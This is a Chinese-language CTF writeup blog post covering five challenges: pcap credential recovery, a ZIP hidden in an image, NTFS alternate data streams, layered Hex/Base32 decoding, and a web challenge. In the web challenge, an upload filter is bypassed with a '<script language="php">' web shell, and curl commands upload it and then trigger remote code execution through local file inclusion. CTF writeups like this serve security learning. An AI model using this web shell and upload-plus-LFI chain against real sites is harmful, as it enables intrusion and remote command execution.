CTF Writeup 合集

本文汇总了一些网上的题目的全部解题过程,涵盖 MISC、Crypto、WEB三个方向,共五道题目。以下是详细的解题思路与过程。

一、Passwd

题目类型: MISC(流量分析)

题目附件: passwd.zip

题目描述: flag形式为flag{xxx}

解题过程

打开附件是一个 pcap 流量包文件,用 Wireshark 打开进行流量分析。首先追踪 TCP 流,搜索关键字 flag 或者 password,发现了一段包含用户名和密码的数据。

追踪 TCP 流后发现用户名和密码信息,但密码部分存在特殊字符,需要以 Hex 方式查看。

通过 Hex 转储查看发现,特殊字符对应的 Hex 值为 7F,这是一个删除控制字符(DEL),将其恢复后即可得到完整的用户名和密码。

恢复特殊字符后,得到完整的凭据信息,直接作为 flag 提交。

flag{backd00Rmate}

二、Only one picture

题目类型: MISC

题目附件: misc_Only one picture.zip

题目描述: 这张图片是谁的呢?

解题过程

解压附件得到一张图片文件,根据题目提示和“这张图片是谁的呢”的描述,首先用 010 Editor 查看文件的头部和尾部结构,发现文件末尾隐藏了一个 ZIP 压缩包。

将隐藏的压缩包分离保存后尝试解压,发现需要输入密码。回到题目提示“这张图片是谁的呢?”,查看图片的属性信息(EXIF信息),在其中找到了密码线索。

使用从图片属性中获取的密码成功解压压缩包,即可得到 flag。

flag{d349bd48-5e00-4159-8b4a-008bb48502c5}

三、流

题目类型: MISC

题目附件: liu.zip

题目描述: Nothing here. flag格式为CTF{xxx}

解题过程

解压附件得到一个 liu.vmdk 虚拟磁盘文件。首先使用 7-Zip 解压该文件,从中提取出一个文件,根据文件名推测其可能指向 flag 的存储位置。

提取出关键文件后,用 Autopsy(或随波逐流工具)打开 vmdk 磁盘镜像进行文件系统分析。通过 NTFS 交替数据流(ADS)技术发现了隐藏的 flag 数据。

该题考查的是 NTFS 交替数据流(Alternate Data Streams)的知识点,这是一种在 NTFS 文件系统中隐藏数据的技术。

CTF{NTFS_ADS}

四、bucket

题目类型: Crypto

题目附件: bucket.zip

题目描述: 解密Base全家桶。

解题过程

题目提示为“Base全家桶”,解压附件后打开 cipher.txt 文件,发现是一串数字编码数据。

第一层:Hex 解码

原始数据 34413441... 只包含 0-9 和 A-F,且长度很长,初步判断为十六进制(Hex)编码。第一次 Hex 解码后得到 4A4A4645...,仍然是 Hex 编码,继续进行第二次 Hex 解码。

第二层:Base32 解码

第二次 Hex 解码后得到 JJFEMRKNKJFU4S2K... 这串字符全部大写、包含数字 2-7、无 +/= 符号,这些特征明显符合 Base32 编码的字符集特征。

第三层:Base32 多层嵌套

经过分析发现 Base32 编码进行了多层嵌套,连续解 7 次 Base32 后最终得到明文。解码过程可以使用 CyberChef 等工具,也可以编写 Python 脚本进行自动化处理。

flag{8ddce78c660f0f6fa4ac1f0d0de6ca18}

、WELCOME TO CTF

题目类型: WEB

目标地址: 172.29.254.78

漏洞类型: LFI(本地文件包含)+ 文件上传 → RCE

1. 信息收集

访问首页 index.php,URL 中 file 参数直接控制包含的文件,存在 LFI(本地文件包含)漏洞:

http://172.29.254.78/index.php?file=hello.php

查看页面源代码,发现注释泄露了上传页面路径 upload.php,同时响应头中包含一条 HTML 实体编码的 Base64 提示,解码后得到 include.php。

2. 漏洞分析

2.1 LFI 漏洞 (index.php)

后端对 file 参数进行了过滤:拦截 php://、http、data、ftp、input、%00 等协议,禁止目录遍历(..),限制字符串长度不超过70。但过滤规则支持绝对路径包含,且对文件扩展名无限制,因此可以通过包含上传的图片文件来执行代码。

2.2 文件上传 (upload.php)

上传页面存在以下限制:仅允许图片扩展名(gif/jpeg/jpg/png),检查 Content-Type,文件会被重命名为 YmdHis+随机数.jpg,并且 <?php 标签会被替换为下划线。

3. 利用过程

3.1 绕过内容过滤

<?php 和 ?> 标签被替换为下划线,但 PHP 还支持其他脚本标记。使用 <script language="php"> 标签可以成功绕过内容过滤:

<script language="php">system($_GET["cmd"])</script>

3.2 上传 Webshell

# 创建 payload 文件
echo '<script language="php">system($_GET["cmd"])</script>' > payload.jpg

# 上传 payload
curl -F "file=@payload.jpg" -F "submit=上传" http://172.29.254.78/upload.php

上传成功后,文件被保存为 upload/20260430XXXXXX.jpg(YmdHis + 4位随机数)。

3.3 LFI 触发 RCE

通过 LFI 包含上传的图片 webshell,实现远程代码执行:

curl "http://172.29.254.78/index.php?file=upload/20260430XXXXXX.jpg&cmd=ls -la /"

3.4 查找 Flag 文件

列出 Web 目录后,在其中发现了 Flag 文件 this_is_th3_F14g_66666999999.txt,读取即可获得 flag。

4. 攻击链总结

本题的完整攻击链为:信息收集发现 LFI 漏洞和文件上传功能 → 绕过文件上传的内容过滤(使用 <script language="php"> 标签) → 上传图片 Webshell → 通过 LFI 包含上传的图片文件 → 实现 RCE → 读取 Flag 文件。

KEY{uP666_1nclud3_499998_is_Fun}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0xBADCODE

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值